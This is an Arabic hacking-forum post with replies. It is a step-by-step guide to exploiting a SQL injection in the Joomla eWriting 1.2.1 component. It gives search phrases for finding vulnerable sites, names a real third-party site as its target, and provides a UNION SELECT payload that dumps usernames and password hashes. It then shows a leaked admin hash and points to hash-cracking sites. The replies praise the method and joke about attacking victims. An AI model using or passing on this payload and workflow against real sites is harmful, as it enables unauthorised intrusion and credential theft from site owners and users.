فقط لمنتديات العراب ثغرة تجعلك تحصل على باسوورد المدير مشفر

السلام عليكم
الدرس مهدى للقائمين على المنتدى
نبدأ الدرس
اول شي هذا هو رابط الثغرة
http://www.milw0rm.com/exploits/5226
ثانيا هذا هو دورك البحث :
com_ewriting
Powered by eWriting 1.2.1
بعد ذلك اذهب لــ google
واكتب احد العبارتين واضغط بحث
سيظهر لك الكثير من الواقع كما في الصورة الاخيرهـ اخر الصفحة

طبعا تختار اي موقع منها
انا اخترت هذا الموقع
http://www.w00tstudios.net/index.php?option=com

نمسح منindex.php فما ورا
ونضع هاذا الكود

الكود:

index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+jos_users-- 

انظر للنتيجة ماذا تلاحظ في الصورة السفلا
باسوورد المدير مشفر
admin:c67553437152adc2ae639a34abaac1fc
بعد فك التشفير
2dd5a3716f701f067e3fb6e898328fe4

هاذي بعض المواقع لفك التشفير

http://www.milw0rm.com/cracker/insert.php
http://md5.rednoize.com
http://securitystats.com/tools/hashcrack.php


لاحد يقوول مفهمت

تحيات الخيـ الفضيلي ـال[img][/img]

الله يعطيك العافية ياالعرااب

بس اضن الثغرهـ موجودهـ في صقور الهكرز علاا حسب خبرتي الي

مثل وجهي وشرايكـ زعيمـ نلعبهمـ ههههههههههههههه

مشاالله ثغررهـ رووعهـ

مشكوور علاا الشررح المصوور تقبلني اخووي بينكمـ